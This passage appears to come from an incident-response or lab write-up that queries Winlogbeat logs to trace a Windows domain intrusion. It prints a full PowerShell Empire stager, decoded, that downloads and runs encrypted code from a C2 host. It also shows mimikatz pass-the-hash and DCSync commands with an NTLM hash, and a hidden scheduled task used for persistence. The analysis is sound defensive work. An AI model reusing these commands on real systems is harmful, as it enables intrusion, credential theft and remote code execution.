  2023-08-30T01:40:38.808Z  allan.smith	6320	2780	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
  
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.241.17:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep 6320

  2023-08-30T01:40:38.808Z  allan.smith	6320	2780	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
  2023-08-30T01:41:34.991Z  allan.smith	5756	6320	"C:\Users\allan.smith\Documents\mimi\x64\mimikatz.exe" "sekurlsa::pth /user:administrator /domain:quicklogistics.org /ntlm:00f80f2538dcb54e7adc715c0e7091ec /run:powershell.exe" exit
  2023-08-30T01:42:47.600Z  allan.smith	4276	6320	"C:\Windows\system32\schtasks.exe" /Create /F /RU system /SC ONIDLE /I 2 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKLM:\Software\Microsoft\Network debug).debug)))\""
  2023-08-30T01:43:36.715Z  allan.smith	4464	6320	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ScriptBlock {hostname} -ComputerName DC01.quicklogistics.org"
  2023-08-30T01:43:45.614Z  allan.smith	3100	6320	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ScriptBlock {hostname}"
  2023-08-30T01:43:57.673Z  allan.smith	5096	6320	"C:\Users\allan.smith\Documents\mimi\x64\mimikatz.exe" "sekurlsa::pth /user:administrator /domain:quicklogistics.org /ntlm:00f80f2538dcb54e7adc715c0e7091ec /run:powershell.exe" exit
  2023-08-30T01:45:12.695Z  allan.smith	5156	6320	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ScriptBlock {hostname} -ComputerName DC01.quicklogistics.org"
```

### III. DC01

Confirming the remote executions on `DC01` via `Invoke-Command`, everything went through even including an Empire stager:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.81.59:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)@\(.host.hostname)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep DC01

  2023-08-29T23:50:11.566Z  Administrator@DC01	2656	5944	"C:\Windows\system32\sc.exe" start winlogbeat
  2023-08-30T01:45:02.538Z  Administrator@DC01	6644	1000	C:\Windows\system32\wsmprovhost.exe -Embedding
  2023-08-30T01:45:03.836Z  Administrator@DC01	2556	6644	"C:\Windows\system32\HOSTNAME.EXE"
  2023-08-30T01:45:19.418Z  Administrator@DC01	7152	1000	C:\Windows\system32\wsmprovhost.exe -Embedding
  2023-08-30T01:45:19.629Z  Administrator@DC01	6212	7152	"C:\Windows\system32\HOSTNAME.EXE"
  2023-08-30T01:45:41.086Z  Administrator@DC01	5292	1000	C:\Windows\system32\wsmprovhost.exe -Embedding
  2023-08-30T01:45:41.297Z  Administrator@DC01	4008	5292	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
  
$ echo "SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBjAC4AUAByAG8AeAB5AD0AWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7ACQAdwBjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwB9AHcAUwAxACYAVgBOAHEAbwBJAFkAKgBHACMANQAtAFAAbAB2AHsAcAAyAGYAPQA0AFoAPwB1AGEAdABAADwAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHIAbABrAEgAVgBYAFcAYgBiAD0AMQAzAGMAZgBjAG8AOQByAFUAWAB4ADAAaQA0AEoAMwB4AFQAdQA2ADgAMgBKAEYAaQBYADAAPQAiACkAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==" | base64 -d  

  If($PSVersionTable.PSVersion.Major -ge 3){};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBjAGQAbgAuAGIAYQBuAGEAbgBhAHAAZQBlAGwAcABhAHIAdAB5AC4AbgBlAHQAOgA4ADAA')));$t='/admin/get.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('}wS1&VNqoIY*G#5-Plv{p2f=4Z?uat@<');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","rlkHVXWbb=13cfco9rUXx0i4J3xTu682JFiX0=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX                                                                                                                                                                                                                                            

$ echo "aAB0AHQAcAA6AC8ALwBjAGQAbgAuAGIAYQBuAGEAbgBhAHAAZQBlAGwAcABhAHIAdAB5AC4AbgBlAHQAOgA4ADAA" | base64 -d

  http://cdn.bananapeelparty.net:80
```

The attacker performed a DCSync attack via `mimikatz.exe` on another Domain Administrator, `backupda`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.81.59:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)@\(.host.hostname)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep DC01 | grep 4008

  2023-08-30T01:46:18.577Z  Administrator@DC01	5936	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -outfile mimi.zip"
  2023-08-30T01:46:32.376Z  Administrator@DC01	4164	4008	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Expand-Archive mimi.zip"
  2023-08-30T01:47:34.171Z  Administrator@DC01	4980	4008	"C:\Windows\system32\net.exe" localgroup administrators
  2023-08-30T01:47:57.809Z  Administrator@DC01	6800	4008	"C:\Users\Administrator\Documents\mimi\x64\mimikatz.exe" "lsadump::dcsync /domain:quicklogistics.org /user:backupda" exit
  2023-08-30T01:48:04.117Z  Administrator@DC01	2560	4008	"C:\Users\Administrator\Documents\mimi\x64\mimikatz.exe" "lsadump::dcsync /domain:quicklogistics.org /user:administrator" exit
```

A callback to the Empire C2 was then established using the Domain Administrator account on both `WKSTN-0051` and `WKSTN-1327`:

```shell-session
$ curl -d "$(cat query.json)" -H 'Content-Type: application/json' -s http://elastic:elastic@10.10.81.59:9200/winlogbeat-7.17.6-2023.08.29-000001/_search?size=3000 | jq -c '.hits.hits[]."_source"' | grep command_line | jq -r '"\(."@timestamp")  \(.user.name)@\(.host.hostname)\t\(.process.pid)\t\(.process.parent.pid)\t\(.process.command_line)"' | sort | grep WKSTN-0051

  2023-08-30T02:06:09.872Z  Administrator@WKSTN-0051	8324	5004	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-Command -ComputerName WKSTN-0051.quicklogistics.org -ScriptBlock {powershell -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBoAEEASABBAEEAWgBRAEIAbABBAEcAdwBBAGMAQQBCAGgAQQBIAEkAQQBkAEEAQgA1AEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAE8AZwBBADQAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7AC